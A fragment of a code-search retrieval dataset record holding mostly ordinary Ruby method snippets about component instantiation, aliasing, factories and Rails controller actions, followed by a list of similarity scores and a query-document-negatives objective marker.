super is a descriptor, defer instantiation to it.\n if superdescriptor.is_a?(Descriptor)\n instance = superdescriptor.create()\n # If the super is a system component, instantiate it\n elsif is_subclass?(superdescriptor, Component)\n instance = superdescriptor.new()\n # If super is anything else then throw an error.\n else\n raise StandardError.new(\"Cannot instantiate super descriptor: #{parent}\")\n end\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.TextComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def load_entity_from_alias(a)\n id = @aliases[a]\n id ? load_entity(id) : nil\n end", "def create(context, name, klass, *args)\n child = component(klass).new(*args)\n c_name = klass.component || klass.name.split('::').last.underscore.to_sym\n\n child.context = context.clone\n child.context[c_name] = child\n child.context.file_path << name.to_s if name\n child.setup\n child\n end", "def add_alias(an_alias)\n meth = find_instance_method_named(an_alias.old_name)\n\n if meth then\n add_alias_impl an_alias, meth\n else\n add_to @aliases, an_alias\n unmatched_alias_list = @unmatched_alias_lists[an_alias.old_name] ||= []\n unmatched_alias_list.push an_alias\n end\n\n an_alias\n end", "def simple_factory(opts_={})\n Cartesian::Factory.new(opts_)\n end", "def register_extension_alias(name, ext)\n self.ext_aliases.aliases[name] = ext\n # Whee! Syntactic sugar, where art thou?\n #\n # Create an instance method on this object called +name+ that returns\n # +ext+. We have to do it this way instead of simply\n # self.class.class_eval so that other meterpreter sessions don't get\n # extension methods when this one does\n (class << self; self; end).class_eval do\n define_method(name.to_sym) do\n ext\n end\n end\n ext\n end", "def widget(target, assigns = {}, options = {}, &block)\n assigns.merge!(:component => @component) {|_,old,_| old } if target.is_a? Class\n super target, assigns, options, &block\n end", "def new_com(x, y, z, a)\n x = Company.new(x, y, z, a)\n @port << x\n end", "def create(tag)\n klass = Class.new self\n klass.tag tag\n klass\n end", "def component(name, options = {}, &block)\n name = name.to_sym\n declared_components << name\n type = options.fetch(:type, ConfigStruct)\n type = Class.new(type, &block) if block\n type = type.method(:new) if type.respond_to?(:new)\n attribute_initializers[name] = type\n attr_reader name\n end", "def create_alias(new_name, old_name)\n alias_method new_name.to_sym, old_name.to_sym #getter\n alias_method \"#{new_name}=\".to_sym, \"#{old_name}=\".to_sym #setter\n end", "def create(name, *traits_and_overrides, &block); end", "def add_alias_impl(an_alias, meth)\n new_meth = RDoc::AnyMethod.new an_alias.text, an_alias.new_name\n new_meth.is_alias_for = meth\n new_meth.singleton = meth.singleton\n new_meth.params = meth.params\n new_meth.comment = \"Alias for \\##{meth.name}\"\n meth.add_alias new_meth\n add_method new_meth\n end", "def register_adapter( a )\n aname = a.name.split('::').last.downcase\n @@adapters[aname] = a\n end", "def metaalias(to, from)\n metaclass.instance_eval{alias_method to, from}\n end", "def create_using(klass, create_method, *traits, **attributes)\n old_create_method_kwargs = @alternate_create_methods[klass]\n @alternate_create_methods[klass] = [create_method, attributes.delete(:create_kwargs) || {}]\n create(klass, *traits, **attributes)\n ensure\n @alternate_create_methods[klass] = old_create_method_kwargs\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def create\n item = params[:item_alias].delete(:item)\n @item_alias = ItemAlias.new(params[:item_alias])\n @item_alias.item = Item.find_by_name(item)\n respond_to do |format|\n if @item_alias.save\n format.html { redirect_to(@item_alias, :notice => 'Item alias was successfully created.') }\n format.xml { render :xml => @item_alias, :status => :created, :location => @item_alias }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item_alias.errors, :status => :unprocessable_entity }\n end\n end\n end", "def alias(an_alias)\n { alias: an_alias }\n end", "def hardcore_alias(klass, *args)\n \"__#{klass.name}#{args}\"\n end", "def create(klass, *args, &block)\n\t\t\t#puts caller\n\t\t\tc = klass\n\t\t\t#go through rules\n\t\t\t#ask each replace? klass\n\n\t\t\tif(@rules)\n\t\t\t\t@rules.each { |r| \n\t\t\t\t\tx = r.replace?(klass)\n\t\t\t\t\tif x && r.test?(klass,*args,&block) then c = x end}\n\t\t\tend\n\n\t\t\tif(!c.is_a?(Class)) then\n\t\t\t\traise \"ClassConductor asked to init something which isn't a class: #{c}\"\n\t\t\tend\n\t\t\t\n\t\t\tobj = c.class_conductor_aliased_new(*args,&block)\n\t\t\t\n\t\t\tif(@rules)\n\t\t\t\t@rules.each {|r| if r.wrap?(obj) then obj = r.dowrap(obj) end}\n\t\t\tend\n\t\t\tobj\n\t\tend", "def duplicate_component()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.LayoutEditor_duplicate_component(@handle.ptr)\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n\n # self.view_context = view_context\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def add_alias!(aka)\n @aliases << aka if !@aliases.include?(aka)\n self\n end", "def add_alias!(aka)\n @aliases << aka if !@aliases.include?(aka)\n self\n end", "def create_object\n sut.send(:new)\n end", "def component(name, locator)\n self.finders[name] = ElementFinder.new(:find, locator, wrapper: Component)\n end", "def component(name, **options)\n get_or_create(VueComponent, name, **options)\n end", "def is_alias?; end", "def component_for_identifier(identifier)\n identifier = Identifier.new(\n identifier,\n namespace: default_namespace,\n separator: container.config.namespace_separator\n )\n\n if (file_path = find_component_file(identifier.path))\n return build_component(identifier, file_path)\n end\n\n identifier = identifier.with(namespace: nil)\n if (file_path = find_component_file(identifier.path))\n build_component(identifier, file_path)\n end\n end", "def component( name, options = {}, &initializer )\n @components ||= {}\n options = options.dup\n if !block_given?\n initializer = lambda{|value, old| value}\n end\n options[:initializer] = initializer\n options.freeze\n @components[name.to_sym] = options\n attr_accessor name\n public name.to_sym\n protected \"#{name.to_s}=\".to_sym\n if options[:delegate]\n if options[:delegate].kind_of? Hash\n options[:delegate].each do | from, to |\n module_eval <<RB\n def #{from.to_s}(*args, &block)\n #{name.to_s}.#{to.to_s}(*args,&block)\n end\nRB\n end\n elsif options[:delegate].respond_to? :each\n options[:delegate].each do | from |\n module_eval <<RB\n def #{from.to_s}(*args, &block)\n #{name.to_s}.#{from.to_s}(*args,&block)\n end\nRB\n end\n end\n \n end\n # TODO: iterater superclass combinations\n if @component_combinations\n cc = @component_combinations\n @component_combinations = []\n cc.each do | rest, block |\n when_combining_components(rest, block)\n end\n end\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.TotalPlaytimeComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def component name, version='', options={}\n attributes = options.merge name: name, version: version\n components << Component.new(attributes)\n end", "def create(name, options = {})\n last_slash = name.rindex(\"/\")\n category = name[0 ... last_slash]\n plugin = name[last_slash .. -1]\n\n map = @plugins[category]\n if not map\n raise \"Plugin category #{category} does not exist\"\n elsif not map.has_key? plugin\n raise \"Plugin #{plugin} does not exist in category #{category}\"\n else\n map[plugin].new(options)\n end\n end", "def initialize(object, view_context)\n super(object)\n @view_context = view_context\n self.class.setup_alias_method\n end", "def create(instance)\n raise NotImplementedError, 'Expected adapter to override `create`'\n end", "def init_adapter\n self.adapter = adapter_string.constantize.new\n end", "def new\n respond_with(component)\n end", "def build_alias(ref)\n node = Nokogiri::XML::Node.new('alias', document)\n node.ref = (Entry === ref) ? ref.id : ref.to_s\n\n add_child node\n end", "def add_alias(var_name, class_obj, old_name, new_name, comment)\n al = RDoc::Alias.new '', old_name, new_name, ''\n al.singleton = @singleton_classes.key? var_name\n al.comment = comment\n al.record_location @top_level\n class_obj.add_alias al\n @stats.add_alias al\n al\n end", "def create\n @virtual_alias = VirtualAlias.new(virtual_alias_params)\n\n respond_to do |format|\n if @virtual_alias.save\n format.html { redirect_to @virtual_alias, notice: 'Virtual alias was successfully created.' }\n format.json { render :show, status: :created, location: @virtual_alias }\n else\n format.html { render :new }\n format.json { render json: @virtual_alias.errors, status: :unprocessable_entity }\n end\n end\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.SumOfBestComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def create_entity(entity, aliases)\n store_entity(entity, aliases)\n end", "def as(alias_name)\n \"#{self} as #{alias_name}\".to_sym\n end", "def as(alias_name)\n \"#{self} as #{alias_name}\".to_sym\n end", "def add_alias(an_alias, context)\n raise NotImplementedError\n end" ]
[ "0.65783465", "0.60331947", "0.5602545", "0.5430911", "0.54295826", "0.537986", "0.53421617", "0.5314194", "0.528274", "0.5271293", "0.5269714", "0.5250058", "0.52467203", "0.5240313", "0.5174109", "0.5157544", "0.51452374", "0.51368344", "0.509881", "0.5097123", "0.5091206", "0.49669567", "0.49494788", "0.49472517", "0.49197066", "0.49180245", "0.4867045", "0.4855153", "0.4850852", "0.48449355", "0.48405036", "0.48350513", "0.48284134", "0.48250613", "0.48226142", "0.4821342", "0.48207042", "0.48023796", "0.47949824", "0.4787194", "0.4776806", "0.4764622", "0.47528812", "0.47267038", "0.4721666", "0.47205782", "0.47205782", "0.4700906", "0.46994972", "0.46970573", "0.4694479", "0.46833843", "0.46805042", "0.46697497", "0.46628538", "0.46601865", "0.46558225", "0.4655071", "0.46542284", "0.46226656", "0.46156073", "0.46120262", "0.4605453", "0.46041244", "0.45971414", "0.45956677", "0.4593023", "0.45869994", "0.45821992", "0.45793122", "0.4578198", "0.45728442", "0.45605522", "0.4556599", "0.45514098", "0.45441875", "0.45422775", "0.45361045", "0.45360392", "0.45360392", "0.4512879", "0.4505222", "0.45049483", "0.45033523", "0.4497123", "0.44910872", "0.44899827", "0.4478817", "0.4476517", "0.44762933", "0.44584647", "0.4457025", "0.44551352", "0.445404", "0.44496894", "0.4446729", "0.44447646", "0.44434097", "0.44424012", "0.44424012", "0.4439714" ]
0.0
-1
Hash containing configuration for all child components to be instantiated at the JS side
def js_components @js_components ||= eagerly_loaded_components.inject({}) do |out, name| instance = component_instance(name.to_sym) out.merge(name => instance.js_config) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def js_extend_properties\n {\n :init_component => js_init_component.l\n }\n end", "def initial_components\n {}\n end", "def initialize(args, kwargs = nil)\n super(args, kwargs)\n client_config[:child_components] = child_components || []\n client_config[:linked_components] = linked_components || []\n end", "def initialize(args, kwargs = nil)\n super(args, kwargs)\n client_config[:child_components] = child_components || []\n client_config[:linked_components] = linked_components || []\n end", "def initialize(conf = {}, parent = nil)\n @passed_config = conf.deep_dup # configuration passed at the moment of instantiation\n @parent = parent\n @name = conf[:name] || self.class.name.underscore\n @js_id = parent.nil? ? @name : \"#{parent.js_id}__#{@name}\"\n @flash = []\n\n # Build complete component configuration\n configure(config)\n end", "def initial_late_components\n {}\n end", "def components; end", "def components\n\n end", "def make_plugin_hash; end", "def initialize(name, bindings, attributes, parent)\n\t\t\tself.cacheable = true unless @cacheable == false\n\t\t\tself.replaceable = false unless replaceable?\n\t\t\tself.fragment = false unless fragment?\n\t\t\t@creation_time = Time.now\n\t\t\t@parent = parent\n\t\t\t@session = parent ? parent.session : nil\n\n\t\t\tself.allow_docroot_caching = false if allow_docroot_caching?.nil?\n\n\t\t\t@subcomponents = {}\n\t\t\tsuper(name, bindings, attributes)\n\n\t\t\tawake()\n\t\tend", "def plugin_hash; end", "def initialize\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n end", "def data\n hash = default_data\n components.each do |component|\n hash[component.property] = component.data\n end\n if has_element_class?\n hash['elements'] = []\n elements.each do |element|\n hash['elements'] << element.data\n end\n end\n hash\n end", "def init_property_hash\n # make super()-safe so we can make liberal use of mixins\n end", "def setup_components\n config\n .internal\n .configurators\n .each { |configurator| configurator.call(config) }\n end", "def component_dict(name, options = {}, &block)\n name = name.to_sym\n declared_component_dicts << name\n type = options.fetch(:type, ConfigStruct)\n type = Class.new(type, &block) if block\n type = type.method(:new) if type.respond_to?(:new)\n key_type = options[:key_type]\n key_type = key_type.method(:new) if key_type.respond_to?(:new)\n attribute_initializers[name] = lambda do\n ConfigDict.new(type, key_type)\n end\n attr_reader name\n end", "def child_components()\n @child_components\n end", "def widget_assigns\n { :component => self, :root_widget => true }\n end", "def component_instance(name, strong_config = {})\n @cached_component_instances ||= {}\n @cached_component_instances[name] ||= begin\n composite = self\n name.to_s.split('__').each do |aggr|\n aggr = aggr.to_sym\n component_config = composite.components[aggr]\n raise ArgumentError, \"No component '#{aggr}' defined for component '#{composite.global_id}'\" if component_config.nil?\n short_component_class_name = component_config[:class_name]\n raise ArgumentError, \"No class_name specified for component #{aggr} of #{composite.global_id}\" if short_component_class_name.nil?\n component_class = constantize_class_name(short_component_class_name)\n\n conf = weak_children_config.\n deep_merge(component_config).\n deep_merge(strong_config). # we may want to reconfigure the component at the moment of instantiation\n merge(:name => aggr)\n\n composite = component_class.new(conf, composite) # params: config, parent\n # composite.weak_children_config = weak_children_config\n # composite.strong_children_config = strong_children_config\n end\n composite\n end\n end", "def config_data\n {}\n end", "def initialize\n @configurations = {}\n end", "def initialize(props = Hash[])\n super()\n\n @props = Hash[]\n @child_components = []\n @props = props\n\n @view = create_view\n end", "def setup_components\n # We configure internals first because other configurators rely on them\n Configurators::Internals.new(self).setup\n\n Configurators::Base.descendants.each do |klass|\n klass.new(self).setup\n end\n end", "def initialize(config = {}, parent = nil)\n # @session = Netzke::Base.session\n @passed_config = config # configuration passed at the moment of instantiation\n @parent = parent\n @name = config[:name].nil? ? short_widget_class_name.underscore : config[:name].to_s\n @global_id = parent.nil? ? @name : \"#{parent.global_id}__#{@name}\"\n @flash = []\n end", "def hivercs\n dynamic_hivercs + static_hivercs\n end", "def components\n\t\t\t@components ||= []\n\t\tend", "def config\n @_config ||= self.class.config.inheritable_copy\n end", "def initialize_component\n initialize_key\n initialize_state\n end", "def weak_children_config\n @weak_children_config ||= {}\n end", "def to_configure_properties\n ['@security', '@channel_flags', '@clas', '@race', '@traits', '@sign', '@stuff']\n end", "def initialize config={}, &block\n @config = config\n\n\n widget_shortcuts_init\n @variables = {}\n # if we are creating child objects then we will not use outer form. this object will manage\n #@current_object = [] # 2014-08-29 - 17:35 unused\n @_system_commands = %w{ bind_global bind_component field_help_text }\n\n init_vars\n $log.debug \"XXX APP CONFIG: #{@config} \" if $log.debug? \n run &block\n end", "def widget_options\n app_options = {}\n app_options[:level] ||= {}\n app_options[:level].merge! @level.properties.camelize_keys\n app_options.merge! view_options.camelize_keys\n app_options\n end", "def path_components\n [configuration_name]\n end", "def attributes\n {\"name\"=> @name, \"component\" => self.component}\n end", "def hash\n [self.class.name, children.map { |el| el.hash }].hash\n end", "def configuration\n\n #page_loading = Netzke::Core.controller.instance_variable_get(:@page_loading)\n component_loading = Netzke::Core.controller.instance_variable_get(:@component_loading)\n reset_previous_page_session(component_loading)\n #return {} unless (page_loading.present? or component_loading.present?)\n sup = super\n\n debug_log \"**** PARAMS from Controller\"\n sup.merge(\n name: :app,\n padding: \"20px\",\n style: {\n border: \"5px solid #A4A6A9\",\n \"-o-border-radius\" => \"10px\",\n \"-ms-border-radius\" => \"10px\",\n \"-moz-border-radius\" => \"10px\",\n \"-webkit-border-radius\" => \"30px\",\n \"border-radius\" => \"8px\"\n },\n :items => [{\n :region => :north,\n :border => false,\n :height => 70,\n :items => [{\n xtype: 'panel',\n frame: false,\n header: false,\n height: 70,\n :layout => :hbox,\n border: 0,\n items: [\n {\n xtype: 'panel',\n flex: 0.8,\n frame: false,\n header: false,\n height: 70,\n border: 0,\n items: [\n {\n xtype: 'label',\n html: \"<img class='main_logo'/>\"\n }\n ]\n\n },\n {\n xtype: 'panel',\n flex: 1,\n frame: false,\n header: false,\n border: 0,\n layout: {\n type: 'vbox',\n align:'right'\n },\n items: [\n {\n xtype: 'panel',\n frame: false,\n header: false,\n border: 0,\n items: [\n {\n xtype: 'label',\n :html => \"<div id='test-lbl-text-align' width = 100%\n style=margin-bottom:4px;text-align:right;color:grey;>\n #{display_user_name} <span style='color:#2A81C9'>\n #{org_info}</span>&nbsp;&nbsp;&nbsp;\n <a style='color:grey;' href='/signout'>Logout</a></div>\"\n }\n ]\n },\n {\n xtype: 'panel',\n frame: false,\n header: false,\n border: 0,\n items: [\n {\n xtype: 'label',\n html: \"<div width = 100% > #{context_specific_display}</div>\"\n }\n ]\n }\n ]\n }\n ]}\n ]\n },\n {\n :region => :center,\n :layout => :border,\n :border => false,\n :items => [status_bar_config, {\n :region => :center,\n :layout => :border,\n :items => [main_panel_config(border: false)]\n }]\n }]\n )\n end", "def load_parameters\n component_dsl = @component_loaded.highlander_dsl\n component_dsl.parameters.param_list.each do |component_param|\n param = Highlander::Dsl::SubcomponentParameter.new\n param.name = component_param.name\n param.cfndsl_value = SubcomponentParamValueResolver.resolveValue(\n @parent,\n self,\n component_param)\n @parameters << param\n end\n end", "def jsonProperties\n\n\t\t\t#self.addRuntimeObject({:_hooCanvas => @parentCanvas.varName });\n\n\t\t\tallItems = {\n\t\t\t}\n\n\t\t\tallItems.merge!( { :bindings => @bindings } ) unless @bindings.nil?\n\t\t\tallItems.merge!( { :javascriptActions => @javascriptActions } ) unless @javascriptActions.nil?\n\t\t\treturn allItems\n\n\t\tend", "def configuration\n config = {}\n tag_configuration_plugins.each do |p|\n # the first submodule listed is the one which accepts the configuration\n key = p.plugin.modules.first.submodule_name\n config[key] = p.parameters;\n end\n config\n end", "def components\n @components ||= enabled_components.map { |component| component.new(@context) }\n end", "def js_config\n super.tap do |c|\n # Hand over inline data to the js config hash\n c[:inline_data] = get_data if config[:load_inline_data]\n end\n end", "def initialize attributes={}\n self.config = attributes[:config]\n end", "def initialize(parent, opts = {})\n super\n @component_defs_exist = opts[:component_defs_exist]\n end", "def components\n if @components.nil?\n @components = self.class.components(self.key)\n end\n @components\n end", "def component_options\n COMPONENTS.map do |name, data|\n [data[:desc], name.to_s]\n end\n end", "def components(&blk)\n instance_exec(&blk)\n self\n end", "def components\n @components ||= self.class.registered_components.inject({}){ |res, name| res.merge(name.to_sym => send(COMPONENT_METHOD_NAME % name)) }\n end", "def components\n @components ||= self.class.registered_components.inject({}){ |res, name| res.merge(name.to_sym => send(COMPONENT_METHOD_NAME % name)) }\n end", "def initialize\n\t\t@configurations = Array.new\n\tend", "def configurations; end", "def config(mod, *accessors); end", "def config\n options = @options.merge(:text => human_name)\n options.merge!(:menu => @menus.collect(&:config)) if @menus.size > 0\n options.merge!(:handler => \"function(){ Backend.app.load('#{url_for(@url.merge(:only_path => true))}') }\".to_l) if @url\n options\n end", "def configs\n # Caching here is not necessary or preferred as configurations are\n # cached on the class (which allows late inclusion of configurable\n # modules to work properly).\n bound? ? receiver.class.configs : EMPTY_HASH\n end", "def config_meta\n Hash[*plugins.map {|p| [p, p.config] }.flatten(1) ]\n end", "def inherited_hash(name)\n class_eval <<RUBY, __FILE__, __LINE__ + 1\n def #{name}(name)\n _#{name}(name.gsub('_', '-'))\n end\n\n def _#{name}(name)\n @#{name}s[name] || @parent && @parent._#{name}(name)\n end\n protected :_#{name}\n\n def set_#{name}(name, value)\n name = name.gsub('_', '-')\n @#{name}s[name] = value unless try_set_#{name}(name, value)\n end\n\n def try_set_#{name}(name, value)\n if @#{name}s.include?(name)\n @#{name}s[name] = value\n true\n elsif @parent\n @parent.try_set_#{name}(name, value)\n else\n false\n end\n end\n protected :try_set_#{name}\n\n def set_local_#{name}(name, value)\n @#{name}s[name.gsub('_', '-')] = value\n end\nRUBY\n end", "def js_init_component\n \n # Optional \"edit in form\"-related events\n edit_in_form_events = <<-END_OF_JAVASCRIPT if config[:edit_in_form_available]\n if (this.enableEditInForm) {\n this.getSelectionModel().on('selectionchange', function(selModel){\n var disabled;\n if (!selModel.hasSelection()) {\n disabled = true;\n } else {\n // Disable \"edit in form\" button if new record is present in selection\n disabled = !selModel.each(function(r){\n if (r.isNew) { return false; }\n });\n };\n this.actions.editInForm.setDisabled(disabled);\n }, this);\n }\n END_OF_JAVASCRIPT\n \n # Result\n <<-END_OF_JAVASCRIPT\n function(){\n // Original initComponent\n #{js_full_class_name}.superclass.initComponent.call(this);\n #{edit_in_form_events}\n }\n \n END_OF_JAVASCRIPT\n \n end", "def initialize(opts = {})\n super opts\n unless @data_sources = opts[:data_sources]\n raise \"Missing option ':data_sources' for widget '#@name'\"\n end\n unless @data_sources.kind_of? Hash\n @data_sources = {:default => @data_sources}\n end\n @js_class = opts[:js_class]\n @js_url = opts[:js_url]\n\n @base_id = \"w#{object_id.abs}\"\n @base_el = \"\\##{@base_id}\"\n\n @js_var_name = \"oml_#{object_id.abs}\"\n #@js_func_name = 'OML.' + @js_url.gsub(\"::\", \"_\")\n\n @dynamic = opts.delete(:dynamic)\n\n @wopts = opts[:wopts] || {}\n @wopts['base_el'] = @base_el\n\n end", "def server_side_config_options\n [:klass, :client_config]\n end", "def component_instance(name, strong_config = {})\n composite = self\n name.to_s.split('__').each do |cmp|\n cmp = cmp.to_sym\n\n component_config = composite.components[cmp]\n raise ArgumentError, \"No child component '#{cmp}' defined for component '#{composite.global_id}'\" if component_config.nil?\n\n component_class_name = component_config[:class_name]\n raise ArgumentError, \"No class_name specified for component #{cmp} of #{composite.global_id}\" if component_class_name.nil?\n\n component_class = constantize_class_name(component_class_name)\n raise ArgumentError, \"Unknown constant #{component_class_name}\" if component_class.nil?\n\n instance_config = weak_children_config.merge(component_config).merge(strong_config).merge(:name => cmp)\n\n composite = component_class.new(instance_config, composite) # params: config, parent\n end\n composite\n end", "def configuration\n {}\n end", "def strong_children_config\n @strong_children_config ||= parent.nil? ? {} : parent.strong_children_config\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[dynamicRegistration tooltipSupport]\n end", "def module_config\r\n []\r\n end", "def settings\n @settable.settings(:components)\n end", "def props\n props = {}\n props[:triggers] = @triggers if @triggers\n props[:functions] = @functions if @functions\n props\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[dynamicRegistration contentFormat]\n end", "def initialize\n super\n self.plugins = []\n if configuration['plugin']\n configuration['plugin'].each do |config|\n plugin_class = config['class'].split('::').inject(Object) {|mod, string| mod.const_get(string)}\n self.plugins << plugin_class.new(self, config['parameters'])\n end\n end\n self.store = self.class.store\n end", "def _shared_configuration #:nodoc:\n {:invocations => @_invocations}\n end", "def _shared_configuration #:nodoc:\n { :invocations => @_invocations }\n end", "def initialize(context)\n @context = context\n components\n end", "def initialize(*args)\n super\n # hash = {}\n end", "def configuration\n self[:configuration] || {}\n end", "def options\n map = Config.class_variables.map do |key|\n [key.to_s.tr('@', '').to_sym, class_variable_get(:\"#{key}\")]\n end\n Hash[map]\n end", "def available_components\n @available_components ||= {}\n end", "def configs\n [\n @class_name,\n @rename_attrs,\n @exclude_attrs_on_create,\n @exclude_attrs_on_update,\n @associations\n ]\n end", "def initialize(opts={})\n super RENDERER_CONFIG.merge opts\n end", "def index\n @slug = params[:slug]\n @page = Page.where(:slug => @slug).includes(:page_component).first\n\n @components = Hash.new\n\n @page.page_component.each_with_index do |component, index|\n props_hash = Hash.new\n component.component_content.each_with_index do |prop, prop_index|\n props_hash.merge!({prop.name => prop.value})\n # component_props.push(props_hash)\n end\n @components[@page.page_component[index].react_component.component_name] = props_hash\n end\n\n\n render \"renders/index\"\n end", "def initialize(attributes = {})\n super\n @component_indices = attributes[:component_indices]\n end", "def packer_config\n JSON.dump(JSON.parse(super).tap do |config|\n config['builders'] = [\n {\n \"type\" => \"vsphere\",\n \"vcenter_server\" => Stemcell::Builder::validate_env('VCENTER_SERVER'),\n \"username\" => Stemcell::Builder::validate_env('VCENTER_USERNAME'),\n \"password\" => Stemcell::Builder::validate_env('VCENTER_PASSWORD'),\n \"insecure_connection\" => true,\n\n \"template\" => Stemcell::Builder::validate_env('BASE_TEMPLATE'),\n \"folder\" => Stemcell::Builder::validate_env('VCENTER_VM_FOLDER'),\n \"vm_name\" => \"packer-vmx\",\n \"host\" => Stemcell::Builder::validate_env('VCENTER_HOST'),\n \"resource_pool\" => \"\",\n # \"ssh_username\" => 'Administrator',\n # \"ssh_password\" => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'communicator' => 'winrm',\n 'winrm_username' => 'Administrator',\n 'winrm_password' => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'winrm_timeout' => '3h',\n 'winrm_insecure' => true,\n \"CPUs\" => ENV.fetch('NUM_VCPUS', '4'),\n \"RAM\" => ENV.fetch('MEM_SIZE', '4096'),\n }\n ]\n end)\n end", "def cp_h\n end", "def initialize(parent_configuration = nil)\n @parent_configuration = parent_configuration || ActiveSupport::HashWithIndifferentAccess.new\n @storage = ActiveSupport::HashWithIndifferentAccess.new\n\n #\n # Nonheritable keys are a bit peculiar: they make the lookup for a key\n # specified as nonheritable to return no result when it falls back to\n # the parent configuration.\n #\n # These keys themselves are inheritable; in this way, a class that\n # descends from another will keep the same behaviour as its superclass\n # without necessarily having the same data. Or to put it another way,\n # if you have specified that 'title' is not inheritable in a\n # superclass's configuration, that is a property of that class, and\n # descendent classes should behave the same way.\n #\n # It is also unlikely that subclasses will modify the list of\n # nonheritable keys.\n parent_nh_keys = parent_configuration &&\n parent_configuration.nonheritable_keys\n @nonheritable_keys = InheritableAppendSet.new(parent_nh_keys)\n end", "def c\n configuration\n end", "def load_components\n\t\t\t\treturn @data['components'].map do |componentstr|\n\t\t\t\t\tcomponent = componentstr.to_sym\n\t\t\t\t\tif (Instances::Components.constants.include? component)\n\t\t\t\t\t\tnext [component, Instances::Components.const_get(component).new]\n\t\t\t\t\telse\n\t\t\t\t\t\t## Component doesn't exist, display warning\n\t\t\t\t\t\tinstance_type = get_instance_type_classname\n\t\t\t\t\t\tclassname = get_classname\n\t\t\t\t\t\tlog \"WARNING: #{instance_type} '#{classname}' tried to load Component '#{componentstr}' which doesn't exist.\"\n\t\t\t\t\t\tnext nil\n\t\t\t\t\tend\n\t\t\t\tend .reject { |x| !x } .to_h if (@data['components'])\n\t\t\tend", "def configure(conf)\n super\n # Read configuration for tag_infos and create a hash\n @tag_infos = Hash.new\n conf.elements.select { |element| element.name == 'tag_infos' }.each { |element|\n element.each_pair { |info_name, position_in_tag|\n element.has_key?(info_name) # to suppress unread configuration warning\n @tag_infos[info_name] = position_in_tag.to_i\n $log.info \"Added tag_infos: #{info_name}=>#{@tag_infos[info_name]}\"\n }\n }\n\n # configure for highwatermark\n @highwatermark_parameters={\n \"state_tag\" => @state_tag, \n \"state_type\" => @state_type,\n \"state_file\" => @state_file,\n \"redis_host\" => @redis_host,\n \"redis_port\" => @redis_port \n }\n $log.info \"highwatermark_parameters: #{@highwatermark_parameters}\"\n\n end", "def c\n configuration\n end", "def components(opts = {})\n opts[:hash_form] ? hash_form_array(:component) : object_form(:component)\n end", "def hash\n [specs, platform, requires_frameworks].hash\n end", "def config\n @config ||= {}\n end", "def config\n @config ||= {}\n end", "def initialize\n set_config\n end", "def initialize\n logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: ####### call super from initialize (CanvasESB)\"\n super()\n @ctools_hash = Hash.new()\n end", "def create_container_and_configuration(p_args)\n\n # Create container\n tool_container = GuiUtils.create_child_form({\n\t\t\t\t:class => Ui_ToolDescriptionWidget,\n :flags => 0,\n\t\t\t\t:base_widget => CustomFontWidget.new(@tools_form),\n\t\t\t})\n\n # Create configuration\n tool_config = ToolConfiguration.new(p_args)\n\n # Return results\n { :container => tool_container, :config => tool_config }\n end", "def auto_configuration_state\n super\n end", "def configuration\n cfg = {}\n cfg[:acl] = @acl.name if (@acl)\n\n if (@command)\n cfg[:command] = @command.source\n else\n cfg[:shell_command_object_group] = @shell_command_object_group.name\n end\n return(cfg)\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n\n # self.view_context = view_context\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def component(name, options = {}, &block)\n name = name.to_sym\n declared_components << name\n type = options.fetch(:type, ConfigStruct)\n type = Class.new(type, &block) if block\n type = type.method(:new) if type.respond_to?(:new)\n attribute_initializers[name] = type\n attr_reader name\n end", "def initializer(component_name = nil, *traits, **options, &block)\n # #init_haml_helpers is required when utilizing #capture with HAML\n # (when outside of Rails)\n # https://www.rubydoc.info/github/haml/haml/Haml%2FHelpers:init_haml_helpers\n init_haml_helpers\n @component_name = component_name\n @class_name = component_name.to_s.camelize\n @traits = traits\n @options = options\n options[:body] = capture(&block) if block_given?\n options[:traits] = traits.present? ? traits : []\n self.component = ancestry_string.constantize.new(options, view_context)\n end", "def hash\n {\n \"name\" => @name,\n \"policies\" => {\n \"attached\" => @attached_policies,\n \"inlines\" => @inlines.flatten,\n \"static\" => @statics,\n \"templates\" => @templates\n }\n }\n end", "def process_and_build_components \n end", "def 